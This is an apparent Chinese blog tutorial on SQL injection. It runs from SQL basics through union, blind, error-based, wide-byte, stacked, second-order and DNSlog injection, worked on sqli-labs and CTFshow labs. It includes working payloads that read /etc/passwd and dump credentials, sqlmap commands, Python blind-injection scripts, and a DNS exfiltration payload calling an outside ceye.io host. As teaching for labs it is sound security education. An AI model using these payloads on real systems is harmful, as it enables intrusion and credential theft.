一篇文章徹底學懂SQL註入(包含基礎數據庫句法、SQL註入原理以及所有常見SQL註入類型以及繞過手法)

文章目錄

  • 前言
  • 認識數據庫
    • 基本術語
    • select 語句
    • SQL where 子句
    • and & or 對數據進行過濾
    • order by 排序
    • insert into 向表中插入新記錄
    • update 更新表中的記錄
    • delete語句用於刪除表中的行
    • like 在where子句中搜索列中的指定模式
    • SQL union 合並兩個或多個select語句的結果
    • 常見的數據庫與結構
  • SQLBolt
    • 第一關
    • 第二關
  • SQL基本語法
    • 常用函數
      • user()
      • database()
      • version()
      • @@hostname
      • @@datadir
      • @@version_compile_os
      • load_file()
      • like
      • regexp
      • sleep
      • if
      • mid
      • **substr**
      • left
      • length
      • ord 和 ascii
      • limit
      • concat
      • concat_ws
      • group_concat
      • into outfile寫文件
      • floor
      • rand
      • group_by
      • ExtractValue
      • updatexml
      • geometrycollection
      • exp
  • 簡易SQL註入
    • 聯合查詢手工註入
    • SQLMAP一把梭
      • 使用-r參數(最穩妥)
      • 使用-u 參數
  • SQL註入盲註
    • 佈爾盲註
      • 基礎版
      • 二分法代碼不好看版本
    • 時間盲註
      • sleep()
      • benchark()
      • 二分法代碼優化版本
  • 報錯註入
    • floor
    • extractvalue
    • updatexml
    • exp
    • geometrycollection
    • multipoint
    • polygon
    • multipolygon
    • linestring
    • multilinestring
  • 寬字節註入
    • 原理
    • SQL語句執行過程
    • 示例
  • 堆疊註入
    • 原理
    • 局限性
    • 案例
  • 二次註入
    • 原理
    • 案例
  • DNSlog註入
    • 原理
    • 案例
  • SQL註入普通繞過手法
    • 空格繞過
    • 關鍵字繞過
    • 註釋符繞過
  • 總結

前言

本文篇基礎向,適合新手學習SQL註入或者想鞏固SQL註入的讀者,內容比較全面比較細致,建議收藏食用
這是一篇文章學懂一個OWASPTOP10的第一期,後續還會持續更新,關註博主不迷路,還是老規矩,配一張知識的海洋,祝大傢能收獲到想要的知識!

認識數據庫 基本術語

以Mysql為例

1-數據庫:數據庫是“按照數據結構來組織、存儲和管理數據的倉庫”2-數據表:是數據的矩陣3-列:一列 裡面是相同類型的數據4-行:一行

介紹:
1-數據庫:security
2-表:users
3-列名:id
4-值:1

select 語句

use security; 命令用於選擇數據庫select * from users; 讀取數據表信息* 是指查詢所有列

1-use security;

2-select * from users;

select username,password from users;查詢usernmae和password兩個字段的值

SQL where 子句

select * from users where id ="1"


除瞭等於之外還有很多比較符
如 > 、=、<= 、like、between、in 等

and & or 對數據進行過濾

select * from users where id >1 and id < 4

select * from users where id =1 or id = 4

order by 排序

升序

select * from users order by username


降序

select * from users order by username DESC

insert into 向表中插入新記錄

insert into users values(13,'test','test');


結果如下

insert into users(id,username,password) values (14,"root","root");

結果

update 更新表中的記錄

update users set username="root1",password="root1" where id =14;


結果如下

update users set username="root1",password="root1" where id =14;

我們對這個語句產生一些思考,假如這裡有一個業務點,是註冊賬號,如果剛好網站管理員的賬號為admin,並且這裡沒有做嚴格的過濾,如果我們在註冊的時候,用戶名那一欄填入下面這個語句會產生怎樣的影響呢?

admin",password="123"#update users set username="admin",password="123"#",password="root1" where id =14;解釋一下,結合後的語句就變成瞭把admin用戶的密碼修改為123 #的作用是註釋後面的語句,讓前面的語句正常執行,這樣我們就能使用admin 123 來登錄管理員後臺瞭,這就是一個簡單的二次註入

那麼再做一個擴展,如果有這種情況,一個網站判斷是否登錄成功是判斷我們輸入的賬號密碼與數據庫中的賬號密碼md5值是否相等,可能會存在這樣的一個漏洞,就像下面這樣

md5($_POST[username])==md5($_POST[password])

這裡先做一個解釋,在PHP中=是不一樣的,舉個簡單的例子


在php中0e開頭它的意思會變成0的多少次方比如0e123的意思是0的123倍,所以如果這裡能夠找到2個加密後都為0e開頭的值,那麼他們兩個就弱等於瞭,比如下面這兩個

s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469這兩個都是0e開頭的,那麼s878926199a和s155964671a這兩個值是會相等的

可以明顯看到是相等的

delete語句用於刪除表中的行 
delete from users where id=14;


結果如下

like 在where子句中搜索列中的指定模式

select * from users where username like "ad%"


除瞭%號之外還有這些通配符

SQL union 合並兩個或多個select語句的結果

select username,password from users union select id,email_id from emails

常見的數據庫與結構

1-Access  -->asp結構:表-->列-->字段2-mssql mysql oracle  -->php、jsp結構:數據庫-->表-->列名-->字段

數據庫

show databases;



show tables;




與一般的數據庫不同,Mysql他是有數據庫這個概念的,而access是沒有數據庫這個概念的。
Mysql結構中最特別的地方就是,Mysql數據庫在創建的時候會把所有的表名,列名給他存儲在information_schema這個數據庫中,所以我們在sql註入的時候總是會使用到如下的語句
" >
根據這個圖我們可以清楚的看到,我們實際上這個語句的意思是查詢information_schema這個數據庫中的tables這個表,然後篩選出table_schema這個字段的值為database()這個函數的返回值的table_name這個字段的值

SQLBolt

網址:https://sqlbolt.com/
目的:熟悉數據庫的基本操作語法

第一關

1-找到每部電影的title

SELECT Title FROM Movies;

2-找到每部電影的director

 SELECT Director FROM movies;

3-找到每部電影的title和director

SELECT Title,Director FROM movies;

4-找到每部電影的title和year

SELECT Title,Year FROM movies;

5-找到每部電影的所有信息

SELECT * FROM Movies ;

第二關

1-找到movie表中id=6的數據

select * from movies where id=6;

2-找到2000年到2010年之間之間的movies

SELECT * FROM movies where year between 2000 and 2010;

3-找到不屬於2000年到2010之間的movies

SELECT * FROM movies where year not between 2000 and 2010;

4-找到年份前五的電影名和他們的年份

select title,year from movies where year <=2003;

SQL基本語法 常用函數 user()

查看當前數據庫的用戶

database()

查看當前數據庫的名字

version()

查看當前數據庫的版本信息

@@hostname

查看當前計算機的用戶名

@@datadir

查看Mysql的data目錄絕對路徑

@@version_compile_os

看操作系統位數

load_file()

解釋:讀取文件

union select 1,load_file('/etc/passwd'),3#

bypass

1-十六進制編碼union select 1,load_file(0x2f6574632f706173737764),3#  0x2f6574632f706173737764--->/etc/passwd2-CHARunion select 1,load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100)),3#

like

語義:是xxxx 這裡類似於等於符號,但是這裡可以使用通配符

select * from users where username like 'a'


這裡查詢為空是因為username列裡面沒有一個a的字段,改為admin即可查出admin字段

這裡也可以使用通配符%

select * from users where username like 'a%'

發現查詢出瞭username列a開頭的字段

那麼如果在a的前面也加上通配符,發現查詢出瞭username列中帶有a的所有字段

select * from users where username like '%a%'

regexp

語義:隻要有xxx就能匹配,而like是等於才匹配

select * from users where username regexp 'admin'

發現username列中隻要有admin的都匹配上瞭

也可以這麼使用

select * from users where username regexp('ad')

sleep

語義:暫停多久後再執行 sleep(x)

select * from users where id =1  and sleep(3)


這樣寫的話,前面的查詢語句結果就會為空

if

語義:if(條件,1,0) 如果條件成立,那麼返回1,反之返回0,這裡的返回值是可以任意修改的,也可以寫表達式

select * from users where id =1  and if (1>2,sleep(5),sleep(1))

這裡是延遲1秒,因為1是不大於2的所以返回sleep(1)

mid

語義:mid(a,b,c) 從b位置開始,截取a字符串的c位
ps:mid()字符串的下標是從1開始算的
這裡執行為空是因為當前數據庫的名字為security 第一個字符為s,這裡的s不等於x所以 判斷不成立 相當於 and 0 所以不成立,不執行語句

select * from users where id =1 and mid(database(),1,1)='x'


當把x改成s的時候,就成功執行瞭

select * from users where id =1 and mid(database(),1,1)='s'

substr

語義:substr(a,b,c) 從b位置開始,截取字符串a長度為c的字符串,這個與mid不同的是substr的b和c可以自動取整 substr從1開始計位數

select * from users where id =1  and substr(database(),1,2)='se'

select count(id) from (users)where(substr(username,1,1))regexp('b')

這句話的意思是統計id 從users這張表,並且username這個列的每個字段的第一個字母為b的

隻有這一個

left

語義:left(a,b) 從左側截取a的前b位

select * from users where id =1  and left(database(),2)='se'

length

語義:length()判斷長度 比如說length(database())=8 判斷數據庫名的長度是不是等於8

select * from users where id =1  and length(database())=8

因為這裡security的字符串長度確實是等於8的,所以返回正常瞭

ord 和 ascii

語義:ord()返回目標對應的ascii碼值 ascii()與ord一致

select * from users where id =1  and ord(left(database(),1))=115

因為s對應的ascii碼值就是115所以返回正常

ascii同理

select * from users where id =1  and ascii(left(database(),1))=115

limit

語義:返回幾列 比如limit(1,2)的意思就是從第一列開始返回2列 limit是從0開始計數的

select table_name from information_schema.tables where table_schema='security' limit 2,1

concat

語義:連接一個或多個字符串

select concat('se','cu')

concat_ws

語義:與concat基本一致,但是多瞭一分隔符這個參數

select concat_ws(';','lll','tttt','wwwww')

group_concat

語義:連接每一個字符串,默認以逗號分隔

select group_concat(database(),version())

into outfile寫文件

前提條件:
1-magic_quotes_gpc=OFF
2-用戶有寫權限
3-into outfile 不可以覆蓋已存在文件
4-intooutfile 必須是最後一個查詢語句 5-知道網站的絕對路徑

select 'select char(99,58,92,50,46,116,120,116) into outfile ''

floor

解釋:向下取整

select floor(1.6)

rand

語義:返回0-1之間的隨機數

select rand()

group_by

解釋:分組
比如有這麼一張表

我們執行這條語句

select name from test group by name

他的結果是這樣的

goup by name 這個過程,會生成一個虛擬的表,向右邊的這個表一樣

ExtractValue

語義:從目標XML中返回包含所查詢的字符串
用法:extractvalue(XML_document,XPath_string)
XML_document: XML_document為string類型,為XML對象的名稱
XPath_string: Xpath格式的字符串

updatexml

語義:修改xml文檔中的內容
用法:updatexml(參數1,參數2,參數3)
參數1:文件名
參數2:路徑
參數3:數值

geometrycollection

語義:GeometryCollection是由1個或多個任意類幾何對象構成的幾何對象。GeometryCollection中的所有元素必須具有相同的空間參考系(即相同的坐標系)。
可以簡單理解為是畫圖的
用法:gemotrycollection(參數1,參數2,參數3)

GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

exp

語義:相當於自然對數的N次方
比如exp(1)

簡易SQL註入 聯合查詢手工註入

首先我們打開SQLlib的第一關,這裡提示我們輸入ID,並且是數值型

第一步判斷是否存在SQL註入,其實很簡單,我們可以不使用and 1=1 這樣的語句去判斷,而是可以直接輸入一大堆垃圾數據,如果報錯,那麼說明我們輸入的這個垃圾數據被帶入數據庫中並且執行瞭,那麼就有可能存在SQL註入
比如這裡,我輸入垃圾數據,明顯看到報錯瞭,那麼就有可能存在SQL註入

輸入單引號,報錯,那麼這裡接收id的地方肯定是單引號,就是這樣

select name from  users where id =''


我們來分析一下為什麼報錯瞭,就確定他是單引號接收參數的,我們在數據庫中執行下面這條語句,很明顯,這是會報錯的

select name from student1 where id ='1''


那麼執行這條語句,他會報錯嗎

select name from student1 where id ='1"'

這裡可能會出乎意料,他並沒有報錯,這裡沒有報錯是因為我們的雙引號不能和前後的單引號拼接起來,也就無法完成閉合,這個1"就會被當成參數去執行,而不是拼接成新的SQL語句

如果我們這裡傳入的是1’,那麼拼接後的語句因該是這樣的

select name from student1 where id ='1'' 

這樣的話明顯我們輸入的1’中的單引號就和前面的單引號給他閉合掉瞭,此時如果我們傳入id的值為1’ union select database()-- - 那麼拼接後的語句為

select name from student1 where id ='1' union select database()-- -' 

我們可以看到,這是可以執行成功的,這句的意思是查詢id=1的字段,並且聯合查詢數據庫的名字

這也就是SQL註入的原理,閉合掉原有的句子,來執行我們新的SQL語句
首先,我們來判斷他有的回顯點,這裡我們使用order by,那麼order by 判斷註入的點又是什麼原理呢
我們執行下面這條語句

select name,id from student1 where id ='1' order by 3

可以看到他報錯瞭,這是為什麼呢,因為order by 3 的意思是按照第3個列進行排序,但是我們這裡明顯可以看到,我們隻查詢瞭name和id這兩個列的值,所以這裡根本就不存在第三個列,也就會報錯

所以這裡無論我們是order by 2 還是 order by 1 他都不會報錯,所以我們可以利用這個特性,從大的數字開始嘗試,當不報錯的那個數字出現瞭,那執行語句的時候就選擇瞭那麼多列,比如這裡

select name,id from student1 where id ='1' order by 2

可以看到order by 2的時候是沒報錯的,這正是因為我們select的時候剛好select瞭2列

知道瞭這些前置知識之後,我們再來做這個題目就很簡單瞭

http://127.0.0.1:8124/Less-1/" >
完美不報錯,那麼由此確定,在執行sql語句的時候隻select瞭3列

那麼下一步就是判斷回顯點,可以看到這裡的2和3這兩個位置都是回顯數據的,那麼我們可以在這兩個位置來查詢數據,這裡又有一個知識點,為什麼要輸入-1而不是1呢

http://127.0.0.1:8124/Less-1/" >
我們來解釋一下為什麼,我們來執行這條語句

select name from student1 where id =1 union select database()

我們可以看到聯合查詢的時候,這個1也在name這個列,但是我們在註入的時候,需要的往往是那個union select的東西,而不是他原本的東西,如果說他原本的語句正常執行瞭,在頁面回顯的時候我聯合查詢的東西就會回顯不出來,所以需要讓第一個語句給他執行失敗,像我們下面這樣

我們執行下面這條語句,雖然前面的語句失敗瞭,但是並不影響我們想要的結果,這樣我們聯合查詢的結果就出來瞭,這也就是為什麼聯合查詢的時候需要讓他原本的語句出錯的原因

select name from student1 where id =11111 union select database()


我們執行下面這條語句,這條語句就是我之前講的,意思是查表名

http://127.0.0.1:8124/Less-1/" >
成功註入,並且可以輕易看出這個users表是敏感的表,這裡再解釋一下這條註入語句,首先單引號是為瞭閉合他原本的SQL語句,-1是為瞭讓它的查尋出錯,能夠回顯我們union select查詢出的內容

information_schema就是Mysql5.0以上自帶的一個數據庫,他裡面存儲瞭很多的表,其中我們能夠利用的表最多時候是tables和columns,這兩張表存儲的是表名信息和列名信息

information_schema.tables的意思是information_schem的tables這張表

table_schema就是information_schema這個數據庫中tables表中的一列

where table_schema=database() 的意思就是篩選table_schema這個列的值等於database()這個函數的返回值的地方,這裡database()的返回值是security,也就是把table_schema='security’的地方篩選出來

所以這個語句的總意思就是查詢1、table_name這個字段的值、3,那麼從哪裡查詢呢?從information_schema這個數據庫的tables表中table_schema=database()的地方查詢

那麼我們同樣按照這種方法,拿到這個表中的列名

http://127.0.0.1:8124/Less-1/" >

http://127.0.0.1:8124/Less-1/?id=-1'  union select 1,username,password from security.users --+

可以看到執行成功,這個Dumb就是其中的一個賬戶密碼瞭

此時我們可以結合limit來遍歷所有的字段值

http://127.0.0.1:8124/Less-1/" >
數據庫結構如下,同理可以遍歷所有的

SQLMAP一把梭 使用-r參數(最穩妥)

首先我們burp抓個包
內容如下

GET /Less-1/" >
我們在SQLMAP中執行這條語句

python38 sqlmap.py -r 1.txt --batch-r 讀取文件內容,也就是我們抓的包--batch 出現選項的時候選擇默認

我們可以明顯看到這是存在註入的

那麼我們就可以繼續一把梭,先爆數據庫名

python38 sqlmap.py -r 1.txt --batch -dbs-dbs 列出數據庫名

我們這個靶場的數據庫是security

那麼繼續爆表

python38 sqlmap.py -r 1.txt --batch -D security --tables-D 執行數據庫名--tables 列出表名

爆出瞭這些表,同樣users這個表肯定是我們想要的

python38 sqlmap.py -r 1.txt --batch -D security -T users --columns-T 指定表--columns 列出列名

那麼繼續爆列,可以看到有password和username這兩個列,都是我們想要的

那麼我們直接拿username和password的值即可

python38 sqlmap.py -r 1.txt --batch -D security -T users -C username,password --dump-C 指定字段--dump 輸出字段值

這樣,我們就拿到瞭這個數據庫中最敏感的信息瞭

使用-u 參數

同樣的用法,隻不是通過-u參數來傳遞URL,其他步驟一致

python38 sqlmap.py -u http://192.168.4.155:8124/Less-1/" >

SQL註入盲註 佈爾盲註

案例:CTFshow WEB 190

基礎版

隨便輸入一個賬號密碼,回顯密碼錯誤

我們輸入這樣一個簡單的註入語句,回顯密碼錯誤,那麼說明我們的語句是成功註入進去的

抓個包,post傳參,傳入的是username和password,然後傳輸數據的路徑是/api/

當我們成功註入的時候,返回包裡是有u8bef的

那麼開始寫腳本
第一步爆數據庫名

import requestsurl="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"flagstr="qwertyuiopa0123sdf-gh4567_89jklzxcvbnm}"payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"name=''for i in range(1,50):    for string in flagstr:        data={            "username":"admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -".format(i,string),            "password":0        }        re=requests.post(url,data=data)        if "u8bef" in re.text:            name+=string            print(name)

解釋註入語句

select password from users where username='Dumb' and 1=if(substr(database(),1,1)='s',1,0)#'

我們知道我們本地當前數據庫的名字為security,那麼第一位顯然是s,這裡註入語句的意思是判斷數據庫的第一位是不是s,如果是則返回1,不是則返回0,那麼如果是的話1=1也判斷成功,那麼前面的SQL語句也能正常執行瞭,結合到這個題目裡面就是回顯u8bef,如果第一位不是s,那麼返回的值就是0,1=0的判斷結果顯然是0,那麼這個SQL語句是無法正常執行的,也就沒有u8bef這個回顯瞭,我們可以通過遍歷所有的字母和數字爆破出這個數據庫名

拿到數據庫ctfshow_web

那麼接下來繼續爆表

import requestsurl="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"name=''for i in range(1,50):    for string in flagstr:        data={            "username":"admin' and 1=if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0) -- -".format(i,string),            "password":0        }        re=requests.post(url,data=data)        if "u8bef" in re.text:            name+=string            print(name)

拿到表ctfshow_fl0g和ctfshow_user

我們要的是flag,所以繼續爆ctfshow_fl0g的列,那麼繼續爆列

import requestsurl="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"name=''for i in range(1,50):    for string in flagstr:        data={            "username":"admin' and 1=if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}',1,0) -- -".format(i,string),            "password":0        }        re=requests.post(url,data=data)        if "u8bef" in re.text:            name+=string            print(name)

拿到瞭id和f1ag這兩個列,那麼直接拿f1ag的值即可

# -*- coding: utf-8 -*-# @Time    : 2022/4/26 14:30# @Author  : AlongLx# @File    : SQL-lib-5.py# @Software: PyCharmimport requestsurl="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"name=''for i in range(1,50):    for string in flagstr:        data={            "username":"admin' and 1=if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)='{}',1,0) -- -".format(i,string),            "password":0        }        re=requests.post(url,data=data)        if "u8bef" in re.text:            name+=string            print(name)

拿到flag

二分法代碼不好看版本

import requestsflagstr="qwertyuiopa0123sdf-gh456789jklzxcvbnm}"url="http://fb42aa9e-b53e-43de-b237-0378bb513933.challenge.ctf.show/api/"flag="ctfshow{"def database():    i=0    database=""    while True:        start=32        end=127        i+=1        while start{},1,0) -- -".format(i,mid),                "password":"0"                }                       r=requests.post(url,data=data)            if "u8bef" in r.text:                start=mid+1            else:                end=mid        if start!=32:            database+=chr(start)            print(database)        else:            print(database)            break  #ctfshow_web      def tables():    i=0    table=""    while True:        start=32        end=127        i+=1        while start{},1,0) -- -".format(i,mid),                "password":"0"                }                       r=requests.post(url,data=data)            if "u8bef" in r.text:                start=mid+1            else:                end=mid        if start!=32:            table+=chr(start)            print(table)        else:            break   #ctfshow_fl0g ctfshow_userdef columns():    i=0    column=""    while True:        start=32        end=127        i+=1        while start{},1,0) -- -".format(i,mid),                "password":"0"                }                       r=requests.post(url,data=data)            if "u8bef" in r.text:                start=mid+1            else:                end=mid        if start!=32:            column+=chr(start)            print(column)        else:            break   #id,f1agdef dump():    i=0    res=""    while True:        start=32        end=127        i+=1        while start{},1,0) -- -".format(i,mid),                "password":"0"                }                       r=requests.post(url,data=data)            if "u8bef" in r.text:                start=mid+1            else:                end=mid        if start!=32:            res+=chr(start)            print(res)        else:            break dump()

解釋

這裡拿數據庫名的第一個字符c來舉例子,c的ascii碼為99註入語句:admin' and 1=if(ascii(substr(database(),{},1))>{},1,0) -- -".format(i,mid),那麼流程是這樣的第一次:start=32 end=127  mid=(32+127)//2=79   那麼語句就是 admin' and 1=if(ascii(substr(database(),1,1))>79,1,0) -- - 意思是判斷數據庫名的第一個字符的ascii碼是否大於79,這裡c的ascii碼99顯然是大於79的,那麼既然大於,說明if條件判斷成功,回顯的結果中就會有u8bef,那麼start=mid+1=80第二次:start=80 end=127  mid=(80+127)//2=103 那麼語句就是 admin' and 1=if(ascii(substr(database(),1,1))>103,1,0) -- - 意思還是判斷數據庫名的第一個字符的ascii碼是否大於103,這裡顯然99小於103,那麼就會判斷失敗,進而條件判斷返回值為0,那麼end=mid=103第三次:start=80 end=103  mid=(80+103)//2=91 那麼語句就是 admin' and 1=if(ascii(substr(database(),1,1))>91,1,0) -- -  99是大於91的,那麼start=91+1=92第四次:start=92 end=103 mid=(93+104)//2=97    99是大於97的,那麼start=97+1=98第五次:start=98 end=103  mid =(98+103)//2=100  99是小於100的,那麼end=mid=100第六次:start=98 end=100  mid=(98+100)//2=99  99不大於99 那麼 end=mid=99第七次:start=98 end=99 mid=(98+99)//2=98  99大於98 那麼 start=98+1=99此時start=end,那麼此次循環結束

時間盲註 sleep()

解釋:休眠n秒

benchark()

解釋:壓力測試

二分法代碼優化版本

import requestsurl = "http://1fc2a0de-12f4-4c45-8414-480238cac924.challenge.ctf.show/api/"result = ''i=0#load="database()" 數據庫名#load="select group_concat(table_name) from information_schema.tables where table_schema=database()"#load="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"load="select flaga from ctfshow_flagx"while True:    start=32    end=127    i+=1    while start{},sleep(2),0)".format(load,i,mid)        data={            "ip":payload,            "debug":"0"            }        try:            r = requests.post(url, data=data, timeout=0.5)            end = mid        except Exception:            start = mid + 1    if start!=32:        result+=chr(start)        print(result)    else:        break

報錯註入 floor

當我們把floor和rand組合起來的時候

select floor(rand()*2)

這個返回的結果可能是0也可能是1

select concat((select database()),floor(rand()*2))

返回的結果是security0或者security1

我們執行這條語句

select concat((select database()),floor(rand()*2)) from users

我們users表裡有多少條數據,這裡就返回多少個結果

我們再執行這條語句,我們給他取瞭個別名叫做a,然後給他分組

select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a

這樣就隻剩下兩條不同的數據瞭

然後我們再count(*)

select count(*),floor(rand(0)*2) as x from users group by x


可以看到這裡報錯瞭,為什麼報錯呢,因為count(*)是統計所有的數據條目,看這麼一條語句

select name from test group by name

執行結果是這樣的

他在group by 的時候,實際上會生成一個這樣的虛擬表,可以看到一個name它對應瞭多個id和password,那麼在count(*)的時候,一列就不止一個數據瞭,他就會報錯

完整語句

http://127.0.0.1:8124/Less-1/" >select concat((select database()),floor(rand(0)*2)) as x from test group by x

這裡雖然返回的結果隻有2個值,但是每一個security0和security1就像上面說的一樣,它對應瞭多個值,所以如果此時我們再count(*),那麼他就會報錯

像這樣,secutiry1就爆出來瞭

select count(*),concat((select database()),floor(rand(0)*2)) as x from test group by x


那麼繼續爆數據庫名

select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from test group by x


爆列

select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)) as x from test group by x


拿數據

select count(*),concat((select concat_ws(',',username,password) from security.users limit 0,1),floor(rand(0)*2)) as x from test group by x

extractvalue

原理:比如下面這個語句,查詢前一段xml文檔中的a節點下的b節點

SELECT ExtractValue('', '/a/b');

返回為空

那麼如果我把xpath的格式寫錯,會怎樣呢

SELECT ExtractValue('', '~');

報錯,XPATH error

那麼如果我寫這樣的一個語句 #0x7e是~的十六進制編碼

select extractvalue(null,concat(0x7e,database(),0x7e))

我們可以看到,這樣數據庫的名字就爆出來瞭

那麼爆表

select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))


繼續爆列

select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))


拿數據

select extractvalue(null,concat(0x7e,(select concat_ws(';',username,password) from users limit 0,1),0x7e))

updatexml

原理:如果路徑中包含特殊符號,比如~就會報錯,同時會顯示路徑參數的內容
比如執行下面這個語句

select updatexml(1,concat('~',database()),1)


查數據

select updatexml(1,concat('~',(select concat_ws(';',username,password) from users limit 0,1)),1)

exp

原理:輸入特殊字符會報錯

http://127.0.0.1/Less-3/" >

geometrycollection
geometrycollection((select * from(select * from(select version())a)b))

multipoint

multipoint((select * from(select * from(select user())a)b))

polygon

polygon((select * from(select * from(select user())a)b));

multipolygon

multipolygon((select * from(select * from(select user())a)b))

linestring

linestring((select * from(select * from(select user())a)b))

multilinestring

multilinestring((select * from(select * from(select user())a)b))

寬字節註入 原理

解釋:GBK、GB18030、GB2312、BIG5等,這些都是寬字節編碼集,這些編碼集會認為兩個URL編碼組成一個中文(這裡需要第一個字符的ascii編碼大於128比如%df,隻有第一個ascii碼到瞭128以上,才能變成中文字符),如果當我們輸入單引號的時候存在php中的addslashes()函數,這個函數會對我們輸入的單引號進行轉義,比如下面這樣
當我們輸入雙引號的時候,可以看到被轉義瞭

那麼單引號的十六進制是%5c,如果mysql使用我們上述的編碼,我們輸入%df’那麼組合起來就是%df%5c’這是一個寬字節,運’,這樣就完成瞭對單引號的逃逸

SQL語句執行過程

1-如果使用的是PHP,那麼當用戶輸入數據之後,會通過php的默認編碼生成SQL語句發送給服務器,那麼php沒有開啟default_charset編碼的時候,php的默認編碼為空

這個時候php會根據數據庫中的編碼來自動確定使用哪種編碼
可以使用
2.3-若上述值不存在,則使用對應數據庫的DEFAULT CHARACTER SET設定值;
2.4-若上述值不存在,則使用character_set_server設定值

示例

這裡輸入1’,發現被轉義瞭

那麼我們使用%df來構造一個寬字節,這裡%df和/(也就是%5c)組合成瞭一個中文字符,完成瞭單引號逃逸

4列報錯

http://127.0.0.1:8124/Less-32/" >
那麼先來爆數據庫

http://127.0.0.1:8124/Less-32/?id=11111%df' union select 1,2,database() %23

繼續爆表名,這裡對table_schema=‘secutiry’ 進行十六進制編碼來繞過對單引號的轉義

http://127.0.0.1:8124/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23

繼續爆列名

http://127.0.0.1:8124/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23


繼續拿數據

http://127.0.0.1:8124/Less-32/" >

堆疊註入 原理

解釋:堆疊註入就是在原有語句的基礎之上,再來執行新的語句。在Mysql中分號";"是用來標是一個語句結束的,那麼一個語句結束之後我們再寫新的語句,他也是會執行的,這就是堆疊註入的由來。

這裡我執行一個這樣的語句

select * from users 


那我們嘗試用分號執行多個語句

select * from users ;select * from test

可以看到這裡有兩個結果,這就是堆疊註入的最基本形式

局限性

解釋:堆疊註入並不是在所有的環境下都能夠執行的,可能受到很多的限制

案例

SQLI-LABS-38
單引號報錯

http://127.0.0.1:8124/Less-38/" >
註釋一下,回顯正常,那麼這裡就是單引號接受數據的

http://127.0.0.1:8124/Less-38/?id=1' %23


那麼嘗試一下堆疊註入

http://127.0.0.1:8124/Less-38/" >
發現已經插入成功,多瞭這條數據,那麼堆疊註入就成功瞭

二次註入 原理

解釋:二次註入的意思是,當我們第一次對數據庫中進行註入,或者插入數據的時候,他把我們輸入的東西存儲到數據庫中瞭,比如我們註冊的時候填寫用戶名的地方我們輸入的是admin’ union select version()#,他讓我們註冊成功瞭,假如我們來到個人信息頁面,它能夠顯示我們的個性簽名,此時他查詢用戶名的語句假如是

select gexingqianming from users where username =''

是這種形式的,此時我們的用戶名是admin’ union select version()#
那麼當他查詢我們的個性簽名的時候,和我們的用戶名一結合,效果如下,這就是一個聯合查詢註入語句瞭,此時我們就能從個性簽名的地方,看到我們註入的結果瞭

select gexingqianming from users where username ='admin' union select version()#'

案例

SQLi-labs-24
打開是這樣的

首先我們註冊一個賬號,賬戶名為admin’# 密碼為123456

此時在數據庫中成功添加瞭我們註冊的這個用戶

我們看一下修改密碼的頁面源碼(pass_change.php),發現他執行的是這條語句

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'


那麼我們如果修改用戶admin’#的密碼為ercizhuru會是什麼效果呢,這不就變成把admin用戶的密碼修改成ercizhuru瞭嗎,我們來嘗試一下

UPDATE users SET PASSWORD='ercizhuru' where username='admin'#' and password='$curr_pass'


此時我們再來看一下數據庫,可以發現admin的密碼已經變成瞭ercizhuru

成功用ercizhuru登錄上admin用戶

DNSlog註入 原理

解釋:dnslog註入也可以叫做dns外帶註入,可以通過查詢相應DNS解析記錄,來獲取數據,DNSlog註入主要是解決無回顯的問題

這裡需要一個DNSlog平臺

1-http://www.dnslog.cn/2-http://ceye.io/

這裡我以ceye.io來測試
首先需要查看一下本地的配置

show VARIABLES like '%secure%'

secure_file_priv為null就不可以讀文件,為空就可以讀任意文件,我們需要把這裡設置為空
可以在my.ini中設置secure_file_priv=“”

那麼構造payload

select load_file(concat('\\\\',(select database()),'.你的Identifier\\abc'))

解釋
load_file()請求文件,除瞭本地文件之外還可以請求遠程文件
concat()函數把三個部分組合起來瞭
第一個部分\\\\表示網絡路徑
第二個部分執行SQL語句比如這裡select database() 執行結果為security
第三個部分多級域名,比如這裡.xxxx\abc
組合起來就變成瞭\\\\security.xxxx\abc 意思是請求security.xxxx下的abc這個文件
那麼我們就可以去查看這個子域名的域名解析記錄,從而獲取我們SQL語句執行的結果瞭

案例

SQLi-lab-1
輸入單引號報錯,說明可能存在閉合

那麼我們註釋一下,成功回顯,說明是單引號閉合

那麼直接DNSlog註入,構造如下payload

http://127.0.0.1:8124/Less-1/" >
繼續拿表名,因為最終是要組成一個三級域名,所以一次隻能查一個

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.1cfto5.ceye.io\\abc'))--+

這裡為瞭省時間,直接拿最關鍵的users表

